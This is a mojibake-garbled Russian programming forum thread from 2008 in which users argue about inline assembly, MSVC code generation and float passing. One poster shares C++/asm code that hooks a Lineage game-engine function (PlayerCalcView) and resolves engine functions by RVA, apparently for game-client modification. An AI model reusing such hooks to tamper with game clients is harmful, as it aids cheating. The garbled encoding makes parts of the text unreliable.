mesKallikanzarid, +вы не учитываете того, что работа идет Ñ Ð³Ð¾Ñ‚Ð¾Ð²Ñ‹Ð¼ бинарным кодом. +товарищ путем предоÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ€Ñ‹Ð²ÐºÐ¾Ð² информации по Ñути провоцирует +Ð½Ð°Ñ Ð½Ð° такие беÑÑмыÑленные(в конечном Ñчете) комментарии.
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 12:10
Чьорт, Ð¼ÐµÐ½Ñ Ð·Ð°Ñ‚Ñ€Ð¾Ð»Ð»Ð¸Ð» закомплекÑованный труъ-аÑÑемблерщег  smile *ушел пить йад*
+
+ + + + + + +
Ðвтор: ksili 8.12.2008, 12:26
Цитата(Kallikanzarid @  7.12.2008,  18:26 Ðайти цитируемый поÑÑ‚)
ЕÑли бы ты пиÑал под мобильники, то юзал бы Ñвно не Ñтудию

Прикинь, Ñ Ð¿Ð¸ÑˆÑƒ под WinMobile и иÑпользую-таки Ñтудию
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 12:42
Цитата(dumb @  8.12.2008,  11:40 Ðайти цитируемый поÑÑ‚)
вы не учитываете того, что работа идет Ñ Ð³Ð¾Ñ‚Ð¾Ð²Ñ‹Ð¼ бинарным кодом. 

ВмеÑто +того чтоб учитывать вÑе возможные предположениÑ, которых в +дейÑтвительноÑти может и не быть (так как в другом топике Ñтого же +автора вроде (может и ошибаюÑÑŒ) подразумевалоÑÑŒ о том что иÑходники на +руках) лучше было бы еÑли бы автор опиÑал бы Ñвою Ñитуацию. Без Ñтого +будет имхо затруднительно ответить на вопроÑ:
Цитата(GoldFinch @  8.12.2008,  00:46 Ðайти цитируемый поÑÑ‚)
подÑкажите как тут избавитьÑÑ Ð¾Ñ‚ аÑма:

+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 13:06
Kallikanzarid, "рекомендуетÑÑ +передавать объекты по ÑÑылкам, а не по указателÑм" Ñ кнешно не +Ñилен в С++, но ÐºÐ°ÐºÐ°Ñ Ð¼ÐµÐ¶Ð´Ñƒ ними разница? о_О

dumb, ÐºÐ°ÐºÐ°Ñ Ñ€Ð°Ð·Ð½Ð¸Ñ†Ð°, Ð´Ð»Ñ Ñ‡ÐµÐ³Ð¾ нужен код? хуки они и еÑть хуки... а иÑпользование ЯВУ вмеÑто Ñ‚акого Ð°Ñма позволит значительно повыÑить читаемоÑть:

Код

void __thiscall ALineagePlayerController::PlayerCalcView(class AActor *, class FVector *, class FRotator *);
__declspec(naked,noreturn) void __stdcall Hook_ALineagePlayerController_PlayerCalcView(
    class AActor *, class FVector *, class FRotator *Rotator) 

    __asm enter 0,0
    g_Direction=Rotator->Pitch
    __asm leave __asm jmp ALineagePlayerController::PlayerCalcView
}


ЗЫ: +а та "Ð¿Ñ€Ð¸Ð¼Ð¸Ñ‚Ð¸Ð²Ð½Ð°Ñ Ð·Ð°Ñ‰Ð¸Ñ‚Ð°" Ð½Ðµ хуже, чем популÑрное криптование +Ñимвольных имен или импорты по хешам. К тому же ей гораздо удобнее +пользоватьÑÑ, Ñ‚.к. функции(методы) вызываютÑÑ Ð½Ð¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð¾, а не по +указателÑм.
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 13:09
Цитата(ksili @ 8.12.2008,  12:26)
Цитата(Kallikanzarid @  7.12.2008,  18:26 Ðайти цитируемый поÑÑ‚)
ЕÑли бы ты пиÑал под мобильники, то юзал бы Ñвно не Ñтудию

Прикинь, Ñ Ð¿Ð¸ÑˆÑƒ под WinMobile и иÑпользую-таки Ñтудию

Поди еще .NET иÑпользуешь smile Ð¯ имел ввиду наÑтоÑщие мобильники, Ñ Ð½Ð¸Ð·ÐºÐ¸Ð¼Ð¸ вычиÑлительными мощноÑÑ‚Ñми.

Добавлено через 7 минут и 25 Ñекунд
GoldFinch, +ÑÑылка на протÑжении Ñвоей жизни гарантированно указывает на один и тот +же объект, то позволÑет компилÑтору включить множеÑтво оптимизаций, +которые он (Ñправедливо) боитÑÑ Ð¿Ñ€Ð¸Ð¼ÐµÐ½Ñть к указателÑм.
http://www.tantalon.com/pete/cppopt/main.htm - уÑтаревший реÑурÑ, но многое вÑе еще Ñправедливо.

Защита дефайнами и вÑтавками Ñлементарно ломаетÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ препроцеÑÑора.
+
+ + + + + + +
Ðвтор: ksili 8.12.2008, 13:16
Цитата(Kallikanzarid @  8.12.2008,  17:09 Ðайти цитируемый поÑÑ‚)
Поди еще .NET иÑпользуешь

Ðе, чиÑто на С++.
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 13:27
Цитата(Kallikanzarid @  8.12.2008,  13:09 Ðайти цитируемый поÑÑ‚)
Защита дефайнами и вÑтавками Ñлементарно ломаетÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ препроцеÑÑора. 

как Ñто? какого препроцеÑÑора? о_О
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 13:31
GoldFinch, ПрепроцеÑÑора С/С++. ПрогонÑешь через него файлы, и дефайны Ñо вÑтавками волшебным образом иÑчезают smile 

ksili, +как Ñ Ð¿Ð¾Ð½Ð¸Ð¼Ð°ÑŽ, речь идет о Ñмартфонах? Я имел ввиду, что Ñкономить 10 +байт может иметь ÑмыÑл лишь Ñ Ð¾Ñ‡ÐµÐ½ÑŒ ограниченными платформами, вроде +Ñтарых мобильников.
+
+ + + + + + +
Ðвтор: ksili 8.12.2008, 13:37
Цитата(Kallikanzarid @  8.12.2008,  17:31 Ðайти цитируемый поÑÑ‚)
ksili, как Ñ Ð¿Ð¾Ð½Ð¸Ð¼Ð°ÑŽ, речь идет о Ñмартфонах?

Да, Ñмартфоны, КПК, ... Ñто наш клиент ))

Цитата(Kallikanzarid @  8.12.2008,  17:31 Ðайти цитируемый поÑÑ‚)
ПрепроцеÑÑора С/С++. ПрогонÑешь через него файлы, и дефайны Ñо вÑтавками волшебным образом иÑчезают

Ðе понÑл. Ломают обычно бинарник. Как ты его прогонÑешь через препроцеÑÑор?
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 13:42
Цитата

Ðе понÑл. Ломают обычно бинарник. Как ты его прогонÑешь через препроцеÑÑор? 

Тогда Ñ Ð½Ð¸Ñ‡ÐµÐ³Ð¾ не понимаю smile ÐœÐ¾Ð¶ÐµÑ‚, Ñ Ð½ÐµÐ¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾ иÑтолковал Ñлово "дифайны"?
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 13:42
Цитата(ksili @  8.12.2008,  13:37 Ðайти цитируемый поÑÑ‚)
Ломают обычно бинарник.

имелоÑÑŒ ввиду неÑколько другое :
Цитата(dumb @  8.12.2008,  11:40 Ðайти цитируемый поÑÑ‚)
так +же как и нет ÑмыÑла вкрÑчивать в выÑокоуровневый код примитивную защиту +извращаÑÑÑŒ Ñ Ð´ÐµÑ„Ð°Ð¹Ð½Ð°Ð¼Ð¸ и вÑтавками - Ð´Ð»Ñ ÑнÑÑ‚Ð¸Ñ Ð¾Ð½Ð¾Ð¹ вовÑе не +обÑзательно, чтобы механизм понимал любой "ламер" - +доÑтаточно одного немного продвинутого заинтереÑованного человека.

+
+ + + + + + +
Ðвтор: ksili 8.12.2008, 13:48
Ðе, ну вы вÑе-таки +объÑÑните. Ðа С и аÑме пишетÑÑ Ð¿Ñ€Ð¾Ð³Ð°. Я так понимаю Ñ Ñ€Ð°Ñчётом на то, +что её будет Ñложно взломать, ну или проÑто разобратьÑÑ Ð² ее коде в +дизаÑÑемблере. Ð’ÑÑ‘ Ñто предполагает то, что у злоумышленника будет +бинарник, и не будет иÑходников. 
Что тогда такое "дефайн" Ð² иÑполнÑемом файле? 
Что иÑчезнет в таком файле, поÑле его прогона через препроцеÑÑор?
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 14:04
Цитата(ksili @  8.12.2008,  13:48 Ðайти цитируемый поÑÑ‚)
Ðе, +ну вы вÑе-таки объÑÑните. Ðа С и аÑме пишетÑÑ Ð¿Ñ€Ð¾Ð³Ð°. Я так понимаю Ñ +раÑчётом на то, что её будет Ñложно взломать, ну или проÑто разобратьÑÑ +в ее коде в дизаÑÑемблере. 

по +контекÑту речь идет о некоторых программиÑтах, +которые "портÑÑ‚" (Ñ ÐºÐ°ÐºÐ¾Ð¹ целью можно только предполагать) +иÑходный код : 
Цитата
так же как и нет ÑмыÑла вкрÑчивать в выÑокоуровневый код примитивную защиту извращаÑÑÑŒ Ñ Ð´ÐµÑ„Ð°Ð¹Ð½Ð°Ð¼Ð¸ 

+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 14:10
Kallikanzarid, речь шла от такой защите дефайнами и аÑм вÑтавками
Код

#define RVA(rva) ;
#define IMPORT_THUNK //nothing

class ALineagePlayerController
{
public:
    IMPORT_THUNK +void ALineagePlayerController::PlayerCalcView(class AActor *, class +FVector *, class FRotator *) RVA(0xF1EB)
};


__declspec(naked) void imp_engine()
//make import
{ __asm{
    //_emit 0xCC
    pop eax // =func+0x10
    pop edx // =rva
    add edx,[g_hEngine] // = VA
    push edx
    sub edx,eax //=org_func-(func+0x10)
    add edx,0x10-5 //=org_func-(func+5)
    mov [eax-0x10+1],edx
    ret
}}
//==================== THUNCKS ===================================
#define IMPORT_THUNK __declspec(naked)
#define RVA(rva) {__asm jmp $+5 __asm nop __asm push rva __asm call imp_engine }
...
    IMPORT_THUNK +void ALineagePlayerController::PlayerCalcView(class AActor *, class +FVector *, class FRotator *) RVA(0xF1EB)

поÑле +автоанализа в ИДРбинарник выглÑдит веÑьма неплохо, на 1й взглÑд, да и +на 2й взглÑд там будет немало возни Ñ Ð²Ð¾ÑÑтановлением импортов. и Ñто +еще Ñамый проÑтейший вариант)
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 14:23
Цитата(GoldFinch @  8.12.2008,  14:10 Ðайти цитируемый поÑÑ‚)
поÑле +автоанализа в ИДРбинарник выглÑдит веÑьма неплохо, на 1й взглÑд, да и +на 2й взглÑд там будет немало возни Ñ Ð²Ð¾ÑÑтановлением импортов. и Ñто +еще Ñамый проÑтейший вариант) 

 smile Ð° +Ñколько возни автору коду Ñ Ð¿Ð¾Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹ вÑей Ñтой ..ммм.. защитой. +)  Ð¸Ð½Ñ‚ереÑно в чем прелеÑть такой овчинки и Ñтоит ли она +выделки ?
только ради (мнимой) надежды что код не взломают +?  Ð’ принципе могут и не взломать.. Ñто еÑли как в анекдоте +про неуловимого Джо... ;)
+
+ + + + + + +
Ðвтор: ksili 8.12.2008, 14:23
Короче мы (GoldFinchKallikanzaridmes Ð¸ Ñ) Ð² Ñтой теме - лебедь, рак и щука, и ёщё кто-то четвёртый  smile  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 14:35
mes, возни мало, зато куча преимущеÑтв.
ÑтатичеÑкий +импорт не работает, Ñ‚.к. Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ надо иметь заголовочные (.h) файлы +идентичные тем что были иÑпользованы при компилÑции длл, иначе +возникает неÑоответÑтвие таблиц методов.
динамичеÑкие импорты через getprocaddress неудобны изза иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÐºÐ°Ð·Ð°Ñ‚ÐµÐ»ÐµÐ¹ на методы (obj->*met)() вмеÑто obj->met()
а такими приÑтно пользоватьÑÑ Ð² коде + их можно генерить Ñкриптом
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 14:55
Цитата(GoldFinch @  8.12.2008,  14:35 Ðайти цитируемый поÑÑ‚)
динамичеÑкие импорты через getprocaddress неудобны изза иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÐºÐ°Ð·Ð°Ñ‚ÐµÐ»ÐµÐ¹ на методы (obj->*met)() вмеÑто obj->met()

забываете о прокÑи-клаÑÑах типа умного указателÑ. 

Цитата(GoldFinch @  8.12.2008,  14:35 Ðайти цитируемый поÑÑ‚)
а такими приÑтно пользоватьÑÑ Ð² коде + их можно генерить Ñкриптом 

под одну платформу, определенный тип компилÑтора и небольшой плÑÑочки, чтоб привеÑти целевой бинарник к удобному виду. )
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 16:05
Цитата(mes @  8.12.2008,  14:55 Ðайти цитируемый поÑÑ‚)
под одну платформу, определенный тип компилÑтора

кроÑÑплатформенноÑть С++ зачаÑтую приводит к очень плохой кодогенерации.
лучше уж генерить хороший код под одну платформу чем *плохой* но чтоб можно было под любую.
когда Ñ Ð¿Ð¸ÑˆÑƒ код который будет работать внутри готового win32 приложениÑ, мне Ñта кроÑÑплатформенноÑть *не нужна*
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 16:25
GoldFinch, [citation needed]
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 16:34
Цитата(Kallikanzarid @  8.12.2008,  16:25 Ðайти цитируемый поÑÑ‚)
GoldFinch, [citation needed] 

???
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 16:50
Мне не кажетÑÑ Ð¾Ñ‡ÐµÐ²Ð¸Ð´Ð½Ñ‹Ð¼, что кроÑÑплатформенный иÑходный код приводит к генерации "плохого" Ð±Ð¸Ð½Ð°Ñ€Ð½Ð¾Ð³Ð¾ кода.
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 17:15
Kallikanzarid, +из-за "кроÑÑплатформенноÑти", в С(++) нет ÑпоÑоба ÑредÑтвами Ñзыка +Ñгенерить некоторые x86-87 команды, например загрузку конÑтант в +FPU. 
Т.е. в некроÑÑплатформенном паÑкале еÑть +оператор(функциÑ) Pi который генерит fldpi, а в кроÑÑплатформенном +С(++) оператора Pi() нет, и ÑпоÑоба Ñгенерить fldpi (и другие +конÑтанты) тоже нет.
Впрочем код C++ Ð´Ð»Ñ FPU меÑтами ужаÑен %) Ðи один нормальный программиÑÑ‚ такого бы не пиÑал.
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 19:33
Троллинг перераÑтает в холивар...  smile 
1) Чем плохи заранее обÑчитанные конÑтанты?
2) ПаÑкаль - не кроÑÑплатформенный?  smile Ð”а что ви говогите!
3) ÐœÐµÐ½Ñ Ñ‚Ñ‹ продавишь только цифрами, так как плевать Ñ Ñ…Ð¾Ñ‚ÐµÐ» на краÑоту бинарного кода smile Ð¥Ð¾Ñ‡Ñƒ бенчмарк, в котором те или иные мат. раÑчеты выполнÑÑŽÑ‚ÑÑ Ñначала в С++, а потом - в аÑме.
4) Рты можешь вручную оптимизировать раÑположение инÑтрукций, чтобы минимизировать проÑтой конвеера?
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 19:35
Цитата(GoldFinch @  8.12.2008,  17:15 Ðайти цитируемый поÑÑ‚)
из-за "кроÑÑплатформенноÑти", в С(++) нет ÑпоÑоба ÑредÑтвами Ñзыка Ñгенерить некоторые x86-87 команды

бред
никакой ÑвÑзи тут нет
Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð»Ð¸ÑˆÑŒ в поддержке компилÑтора

Цитата(GoldFinch @  8.12.2008,  17:15 Ðайти цитируемый поÑÑ‚)
Впрочем код C++ Ð´Ð»Ñ FPU меÑтами ужаÑен

не ÑущеÑтвует "кода C++ Ð´Ð»Ñ FPU"
качеÑтво кода, Ñгенерированного компилÑтором завиÑит от качеÑтва компилÑтора
оценка +качеÑтва оптимизированного кода неподготовленными Ñубъектами обычно +неадекватна, Ñ‚.к. понÑть что оптимально а что нет на уже 2-Ñ… +процеÑÑорных платформах ÑпоÑобен только ÑпециалиÑÑ‚

и вообще на 2-Ñ… поÑледних Ñтраницах Ñтолько бреда, что ужаÑть  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 20:05
Kallikanzarid,
1) тем что аппаратные конÑтанты много лучше программных
2) паÑкаль - Ñ Ð¸Ð¼ÐµÐ» ввиду турбопаÑкаль, дельфи
3) цифры: 
   fldpi - 2байта
   pi dt 3.14.... / fld [pi] - 10+6 байт
4) еÑли бы ты видел код который те генерит твой компилÑтор, ты бы не говорил о "минимизации проÑÑ‚Ð¾Ñ ÐºÐ¾Ð½Ð²ÐµÐµÑ€Ð°"
ÐºÐ°ÐºÐ±Ñ Ð²Ð¾Ñ‚ такой код при конфигурации "релиз" - Ñто реальноÑть
.text:1000122F                 mov     eax, +dword ptr [g_hEngine]
.text:10001234                 mov     dword +ptr [eax+56F5D8h], offset +Hook_ALineagePlayerController_PlayerCalcView(AActor *,FVector +*,FRotator *)
.text:1000123E                 mov     ecx, +dword ptr [g_hEngine]
.text:10001244                 mov     dword +ptr [ecx+57B968h], offset loc_10001190
.text:1000124E                 mov     edx, +dword ptr [g_hEngine]


J0ker, ок, будет говорить иÑключительно о компилÑторе MSVC. так вот у него кодогенератор - гуан*

наÑчет кода Ð´Ð»Ñ FPU - вот так вот в MSVC передаютÑÑ 32-разрÑдные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ float
.text:10001344                 fld     [esp+18h+arg_4]
.text:10001348                 fstp    [esp+18h+var_14]
.text:1000134C                 fld     dword +ptr [eax+4]
.text:1000134F                 fstp    [esp+18h+var_18]
.text:10001352                 call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)
видимо те кто пиÑали кодогенератор малоÑть не учли, что dword'Ñ‹ в Ñтек можно запихивать командой push, а не через Ñтек FPU %)
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 20:15
GoldFinch, +объÑÑнÑÑŽ еще раз Ð´Ð»Ñ Ñамых одаренных. Мне. Плевать. Ðа. КраÑоту. +ÐÑÑемблерного. Кода. ЕÑли бахвалишьÑÑ Ñвоей труъ-аÑÑемблерноÑтью, +подтверди Ñвое превоÑходÑтво, предÑтавив реализацию какого-нибудь +чиÑленного алгоритма на С++ и на аÑме. И времÑ, за которое Ñти +реализации выполнÑÑŽÑ‚ÑÑ.
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 20:24
Kallikanzarid, +вот тебе ÐºÐ°ÐºÐ±Ñ Ð°Ð»Ð³Ð¾Ñ€Ð¸Ñ‚Ð¼ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ 80-разрÑдной конÑтанты Pi, разница в +размере - в 8 раз, разница в быÑтродейÑтвии в единицы - деÑÑтки раз, в +завиÑимоÑти от раÑÐ¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñтанты в кеше или нет.
Ðе нравитÑÑ - +выбери другой алгоритм, метод, уÑÐ»Ð¾Ð²Ð¸Ñ Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð¸ предÑтавь Ñвой труъ +С++ код, ато Ñ Ð½Ð° С++ меньше меÑÑца пишу, могу true Ñ false через +strlen() Ñравнивать.
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 20:42
Цитата(GoldFinch @  8.12.2008,  20:05 Ðайти цитируемый поÑÑ‚)
0ker, ок, будет говорить иÑключительно о компилÑторе MSVC. так вот у него кодогенератор - гуан*

наÑчет кода Ð´Ð»Ñ FPU - вот так вот в MSVC передаютÑÑ 32-разрÑдные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ float
.text:10001344                 fld     [esp+18h+arg_4]
.text:10001348                 fstp    [esp+18h+var_14]
.text:1000134C                 fld     dword +ptr [eax+4]
.text:1000134F                 fstp    [esp+18h+var_18]
.text:10001352                 call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)
видимо те кто пиÑали кодогенератор малоÑть не учли, что dword'Ñ‹ в Ñтек можно запихивать командой push, а не через Ñтек FPU %)

видимо +тот, кто критикует то, что не понимает, не знает того, что +преобразование типов в плавающую точку ÑвлÑетÑÑ Ñ€ÐµÐ°Ð»ÑŒÐ½Ð¾Ð¹ операцией, а +не каÑтом на уровне Ð¿ÐµÑ€ÐµÐ½Ð°Ð·Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¸Ð¿Ð°
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 20:46
J0ker, и где же ты там преобразование увидел? Ñ Ñ‚Ð¾Ð»ÑŒÐº увидел преобразование m32real->m80real->m32real. там ÐºÐ°ÐºÐ±Ñ fld а не fild
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 20:50
Цитата(GoldFinch @ 8.12.2008,  20:46)
J0ker, и где же ты там преобразование увидел? Ñ Ñ‚Ð¾Ð»ÑŒÐº увидел преобразование 32разрÑда->80Ñ€ÑзрÑдов->32разрÑда

именно
в +функции операнды передаютÑÑ Ñ‡ÐµÑ€ÐµÐ· Ñтек, и при передаче тип должен быть +проверен и еÑли он не может быть преобразован то в точке передачи +обÑзан быть выÑтавлен флаг иÑключениÑ
еÑли данную функцию перепиÑать как инлайн, то вÑе будет оптимизированно на Ñтеке FPU
других решений тут нет и быть не может
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 20:56
Цитата(J0ker @  8.12.2008,  20:50 Ðайти цитируемый поÑÑ‚)
других решений тут нет и быть не может 

а Ñто не решение? о_О
pushd     [esp+18h+arg_4]
pushd     [eax+4]
call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 21:08
Цитата(GoldFinch @  8.12.2008,  20:56 Ðайти цитируемый поÑÑ‚)

а Ñто не решение? о_О
pushd     [esp+18h+arg_4]
pushd     [eax+4]


битовое +предÑтавление floata равного n не  Ð½Ðµ ÑоответÑтвует битовому +предÑтавлению Ñтого чиÑла в dword/int (дополненого нулÑми)
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 21:20
Цитата(GoldFinch @ 8.12.2008,  20:56)
Цитата(J0ker @  8.12.2008,  20:50 Ðайти цитируемый поÑÑ‚)
других решений тут нет и быть не может 

а Ñто не решение? о_О
pushd     [esp+18h+arg_4]
pushd     [eax+4]
call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)

нет
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 21:21
mes, Ñ Ñтрудом догадываюÑÑŒ что такое битовое предÑтавление, тем более дополненное нулÑми О_о, и причем тут Ñто
команда push [mem32] ÐºÐ¾Ð¿Ð¸Ñ€ÑƒÐµÑ‚ 4 байта по адреÑу mem32 в Ñтек, и она не обращает Ð²Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ Ð½Ð° "битовое предÑтавление" Ñтих байт.
J0ker, и в каком же меÑте Ñто не решение?
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 21:29
Цитата(GoldFinch @  8.12.2008,  21:21 Ðайти цитируемый поÑÑ‚)
J0ker, и в каком же меÑте Ñто не решение?

в +меÑте Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¸Ð¿Ð° - размещение значений Ñ Ð¿Ð»Ð°Ð²Ð°ÑŽÑ‰ÐµÐ¹ точкой в +памÑти и Ð¾Ð±Ñ€Ð°Ñ‚Ð½Ð°Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ñ ÑопрÑжено Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸ÐµÐ¼ типов
Ð½ÐµÐ»ÑŒÐ·Ñ ÐºÐ¾Ñ€Ñ€ÐµÐºÑ‚Ð½Ð¾ положить на Ñтек чиÑло Ñ Ð¿Ð»Ð°Ð²Ð°ÑŽÑ‰ÐµÐ¹ точкой иначе чем через Ñтек FPU
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 21:30
Цитата(GoldFinch @  8.12.2008,  21:21 Ðайти цитируемый поÑÑ‚)
mes, Ñ Ñтрудом догадываюÑÑŒ что такое битовое предÑтавление,

ÑÐµÐ¹Ñ‡Ð°Ñ Ð½Ð°Ð±Ñ€Ð¾Ñаю пример почему не ÑвлетÑÑ Ñ€ÐµÑˆÐµÐ½Ð¸ÐµÐ¼ :

Цитата(GoldFinch @  8.12.2008,  21:21 Ðайти цитируемый поÑÑ‚)
копирует 4 байта по адреÑу mem32 в Ñтек, и она Ð½Ðµ обращает Ð²Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ Ð½Ð° "битовое предÑтавление" Ñтих байт.


Добавлено @ 21:33
вот примерно что получитÑÑ Ð² результате вашго Ñ€ÐµÑˆÐµÐ½Ð¸Ñ :
Код

#include <iostream>

union convert
{
    float f;
    int i;
};

int main()
{
   convert c;
   c.i =5;
   std::cout<<c.i<<std::endl;
   ++c.f;
   std::cout<<c.i<<std::endl;

  system("pause");
  return 0;
}

+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 21:39
J0kermes, жжоте... какие громкие заÑвлениÑ) ÐºÐ°ÐºÐ°Ñ ÑƒÐ²ÐµÑ€ÐµÐ½Ð½Ð¾Ñть в правоте Ñвоих Ñлов... вы не правы. 
Потому +что черное Ñто черное, а белое Ñто белое. ЕÑть много ÑпоÑобов премещать +Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² памÑти, и еÑли вы Ñтого не знаете Ñто не значит что Ñти +ÑпоÑобы неверны) Курите документацию к процу и вам откроетÑÑ Ð¸Ñтина)

Ðо +какие замечательные выÑÐºÐ°Ð·Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¾Ñ‚ вроде бы малоÑть разбирающихÑÑ Ð² +программировании людей... ЗапиÑал бы, да бред не коллекционирую.

upd:
mes, нет, Ваш код ниразу не ÑоответÑтвует той Ñитуации.
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 21:49
Цитата(GoldFinch @  8.12.2008,  21:39 Ðайти цитируемый поÑÑ‚)
какие громкие заÑвлениÑ)

никакой +громкоÑти.. Вам был предÑтавлен пример, который показывает что учаÑток +памÑти трактованный как int, чиÑлено не равен Ñтому же учаÑтку памÑти +но трактованному как float.
жаль что Ð’Ñ‹ даже не захотели Ñтого понÑть ;)

Цитата(GoldFinch @  8.12.2008,  21:39 Ðайти цитируемый поÑÑ‚)
Потому что черное Ñто черное, а белое Ñто белое.

И ночью тоже ?

Цитата(GoldFinch @  8.12.2008,  21:39 Ðайти цитируемый поÑÑ‚)
ЕÑть много ÑпоÑобов премещать Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² памÑти, и еÑли вы Ñтого не знаете Ñто не значит что Ñти ÑпоÑобы неверны) 

а кто нибудь оÑпаривал ? речь не о перемещении а о трактовке значениÑ.

Цитата(GoldFinch @  8.12.2008,  21:39 Ðайти цитируемый поÑÑ‚)
ЗапиÑал бы, да бред не коллекционирую. 

Рвот Ñто дейÑтвительно громко. ЗапиÑал бы, но .... Ñ Ð´ÑƒÐ¼Ð°ÑŽ Ð’Ñ‹ догадалиÑÑŒ )


+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 21:56
так..... тут было потерто обкидывание оппонента какашками  smile 
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 22:12
Цитата(GoldFinch @  8.12.2008,  21:39 Ðайти цитируемый поÑÑ‚)
mes, нет, Ваш код ниразу не ÑоответÑтвует той Ñитуации.


Цитата(J0ker @  8.12.2008,  21:20 Ðайти цитируемый поÑÑ‚)
pushd     [esp+18h+arg_4]
pushd     [eax+4]
call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)

вот немного изменил код, чтоб легче было понимать что проиÑходит .. желаю приÑтных ÑкÑперементов :
Код


#include <iostream>

union convert
{
    float f;
    int i;
};

float mycast_int2float(int i) // преобразование без учета типа
{
    convert c;
    c.i = i;
    return c.f;
}

void myfunc (float f)
{
    std::cout<< "argument for myfunc = " << f << std::endl;
}

int main()
{
// передача аргумента Ñ  ÐºÐ¾Ð½Ð²ÐµÑ€Ñ‚ацией типа
  myfunc ('a'); // char
  myfunc (int(5)); // int
  myfunc (6);    // int
  myfunc (7.0); // double
// передача аргумента по битовому предÑтавлению
  myfunc (mycast_int2float('a'));
  myfunc (mycast_int2float(5));

  system("pause");
  return 0;
}

+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 22:17
mes, что за бредовый пруфкод вы пишете? то что мы обÑуждаем выглÑдит так:
Код

#include <windows.h>
#pragma comment(linker,"/ENTRY:main")

int __stdcall Foo(float arg)
{
    return arg == 8/7;
};

int Bar(float arg)
{__asm{
    push dword ptr [arg]
    call Foo
}};

void main()
{    
    if ( Bar(8/7)) 
        MessageBoxA(0,"8//7==8//7","ok",0);
    else
        MessageBoxA(0,"8//7!=8//7",0,0);
}

в Ñтрочке "push dword ptr [arg]" float значение передаетÑÑ Ð² Ñтек через push а не через пару fld/fstp
что характерно прога выводит "8/7==8/7"
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 22:25
GoldFinch, Ñ Ð²Ð°Ð¼ объÑÑнÑÑŽ... Ñовершенно Ñпокойно, вот...
преобразование из дабл во флоат - Ñто ОПЕРÐЦИЯ - она не может быть выполнена без Ð¿Ñ€Ð¸Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ FPU либо его ÑмулÑтора
еÑли вы в Ñвоих примерах замените float на double вы Ñразу Ñто поймете
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 22:28
Цитата(GoldFinch @  8.12.2008,  22:17 Ðайти цитируемый поÑÑ‚)
